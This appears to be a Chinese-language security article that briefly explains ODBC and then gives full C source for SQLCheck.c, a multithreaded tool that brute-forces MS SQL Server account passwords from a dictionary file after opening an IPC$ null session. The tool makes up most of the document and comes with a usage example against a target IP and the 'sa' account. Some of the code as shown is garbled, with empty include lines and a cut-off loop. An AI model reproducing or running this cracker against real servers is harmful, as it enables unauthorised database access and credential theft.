遠程檢測MS SQL Server帳號安全性

server|安全|安全性
ODBC是開放資料互連(Open Database Connectivity)的簡稱，它是一個用於遠端存取資料庫（主要是關係型資料庫）的統一介面標準。　　ODBC下現實運用中是一個資料庫的訪問庫，它提供了一組ODBC API函數可以提供給編程者使用。對於程式員來說，ODBC API函數集實際上等於一個動態串連庫(DLL)集，可以在應用程式中直接使用它們。

一個應用程式直接調用ODBC API函數來進行資料庫的應用工作，工作過程一般比較複雜。其中一種辦法大概是以下幾步：
<1>啟動ODBC資料庫應用程式。
<2>與伺服器建立IPC SESSION。
<3>建立資料庫應用的環境控制代碼。
<4>建立串連控制代碼。
<5>串連資料來源。
<6>建立語句控制代碼。
<7>通過上一步建立的語句控制代碼來執行SQL操作。
<8>釋放語句控制代碼。
<9>要進行多此SQL操作的話，就迴圈步驟6-8。
<10>斷開與資料庫的串連。
<11>釋放串連控制代碼。
<12>釋放環境控制代碼。
<13>斷開IPC SESSION。
<14>程式結束。

下面以一個執行個體來說明遠程檢測MS SQL Server帳號密碼的全過程。

/**********************************************************
Module Name:SQLCheck.c
Date:2000.12.14
WEB:www.patching.net
Notices:Copyright(c) eyas
**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include

////////////////////////////////////////////////////////////////////////
file://定義全域變數
char dict[20000][40],//密碼字典
UserName[40],//使用者名稱
target[40],//目標伺服器
passwd[40];//已經探測出來的正確密碼
int total=0;//字典裡面單詞數量
BOOL Cracked=FALSE;//探測密碼成功時此值為TRUE
HANDLE hSemaphore,//信標核心對象
hEvent;//事件核心對象
long MaxThreads,//最大線程數量
ActiveThreads;//活動線程數量
////////////////////////////////////////////////////////////////////////
void usage(char *pragname)
{
printf("\nPower by eyas"
"\nhttp://www.patching.net"
"\n2000/12/14"
"\n\nUsage:%s "
"\nExample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);
return;
}

////////////////////////////////////////////////////////////////////////
int ReadDic(char *dic)
{
FILE *fp;
char tmp[40];

file://開啟字典檔案
if((fp=fopen(dic,"r"))==NULL)
{
printf("\nCan't open %s",dic);
return 1;
}

while(!feof(fp))
{
file://讀取資料到臨時變數
if(fgets(tmp,40,fp)==NULL)
break;
file://把從檔案裡面讀出來的最後一位元據[分行符號號]去掉
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return 0;
}
////////////////////////////////////////////////////////////////////////
int ConnIPC(char *RemoteName)
{
NETRESOURCE nr;
DWORD flags=CONNECT_UPDATE_PROFILE;
TCHAR RN[30]="\\\\",
LN[5]="";

strcat(RN,RemoteName);
strcat(RN,"\\ipc$");

nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;

if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
int DelIPC(char *RemoteName)
{
DWORD ret;
TCHAR lpName[30]="\\\\";

strcat(lpName,RemoteName);
strcat(lpName,"\\ipc$");

ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
if(ret==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
DWORD WINAPI SQLCheck(PVOID pPwd)
{
file://定義局部變數
char szBuffer[1025];
char *pwd;
SWORD swStrLen;
SQLHDBC hdbc;
SQLHANDLE henv;
SQLRETURN retcode;//ODBC API運行傳回值
SCHAR ConnStr[200];//串連資料庫字串
long PreviousCount;

file://取得傳遞過來準備探測的密碼
pwd=(char *)pPwd;
file://構造串連資料庫字元
sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",
target,UserName,pwd);
file://puts(ConnStr);
__try{
file://建立資料庫應用的環境控制代碼
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
{
printf("\nAllocate environment handle failed.\n");
ExitProcess(1);
}
file://設定ODBC版本環境
if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("\nSet the ODBC version environment attribute failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://建立串連控制代碼
if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://串連資料來源
retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
szBuffer,sizeof(szBuffer),&swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
{
file://串連失敗，函數終止
file://printf("\nCouldn't connect to %s MSSQL server.\n",target);
}
else
{
file://串連遠程MSSQL Server資料庫成功
Cracked=TRUE;
strncpy(passwd,pwd,sizeof(passwd));
file://中斷連線
SQLDisconnect(hdbc);
}
}//end of tyr
__finally{
file://釋放串連控制代碼
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
file://釋放環境控制代碼
SQLFreeHandle(SQL_HANDLE_ENV, henv);
file://對信標當前資源數量進行遞增1，並取得當前資源數量的原始值
ReleaseSemaphore(hSemaphore,1,&PreviousCount);
file://計算當前活動線程數量
ActiveThreads=MaxThreads-PreviousCount-1;
file://printf("\nActiveThreads-->%d.",ActiveThreads);
file://如果活動線程數量為0,那麼將事件核心對象hEvent改為已通知狀態，程式結束
if(ActiveThreads==0)
{
SetEvent(hEvent);
}
}//end of finally
return 0;
}

////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
HANDLE hThread;//線程控制代碼
DWORD dwThreadId,dwRet;
int i=0,err=0;
clock_t start,end;//程式啟動並執行起始和結束時間
double duration;

if(argc!=5)
{
usage(argv[0]);
return 1;
}
file://取得目標地址，使用者名稱
strncpy(target,argv[1],sizeof(target));
strncpy(UserName,argv[2],sizeof(UserName));
file://取得並檢查使用者輸入的最大線程數量
MaxThreads=atol(argv[4]);
if((MaxThreads>100) || (MaxThreads<1))
{
usage(argv[0]);
return 1;
}
file://讀取字典中的單詞到記憶體中
if(ReadDic(argv[3])!=0)
return 1;
file://與目標機器建立IPC Session
if(ConnIPC(argv[1])!=0)
{
printf("\nCan't built IPC NULL Session!");
return 1;
}
else
{
printf("\nBuilt IPC NULL Session success!\n");
}
file://建立信標核心對象,最大資源數量和可以使用的資源數量均為MaxThreads
hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);
if(hSemaphore==NULL)
{
printf("\nCreateSemaphore() failed.ErrorCode:%d.",GetLastError());
return 1;
}
file://建立事件核心對象[人工重設，初始狀態為未通知]
hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
if(hEvent==NULL)
{
printf("\nCreateEvent() failed.ErrorCode:%d.",GetLastError());
CloseHandle(hSemaphore);
return 1;
}
file://開始計時
start=clock();
file://開始建立線程探測密碼
for(i=0;i {
file://探測密碼成功後跳出此迴圈
if(Cracked==TRUE)
break;
file://顯示進度資訊
printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict[i]);
file://建立線程
hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId);
file://處理建立線程錯誤的情況
if(hThread==NULL)
{
err++;
MessageBox(NULL,"thread error","error",MB_OK);
if(err>=50)
break;
}
CloseHandle(hThread);
Sleep(10);
file://等待信標核心對象通知，可用資源數量大於0則繼續建立線程，等於0則線程進入等待狀態
WaitForSingleObject(hSemaphore,INFINITE);
}
file://等待事件核心對象通知,最多等待3分鐘
dwRet=WaitForSingleObject(hEvent,180000);
switch(dwRet)
{
case WAIT_OBJECT_0:
printf("\nAll thread done.");
break;
case WAIT_TIMEOUT:
printf("\nWait time out.Exit.");
break;
case WAIT_FAILED:
printf("\nWaitForSingleObject() failed.");
break;
}
file://斷開與目標機器的IPC Session
DelIPC(target);
file://探測密碼成功後回顯資訊
if(Cracked==TRUE)
printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);
file://記時結束
end=clock();
file://轉換時間格式
duration = (double)(end - start) / CLOCKS_PER_SEC;
file://顯示所用時間
printf("\n\nComplete.Use %2.1f seconds.\n",duration);
return 0;
}
////////////////////////////////////////////////////////////////////////
程式在windows2000,vc++6.0環境下編譯通過。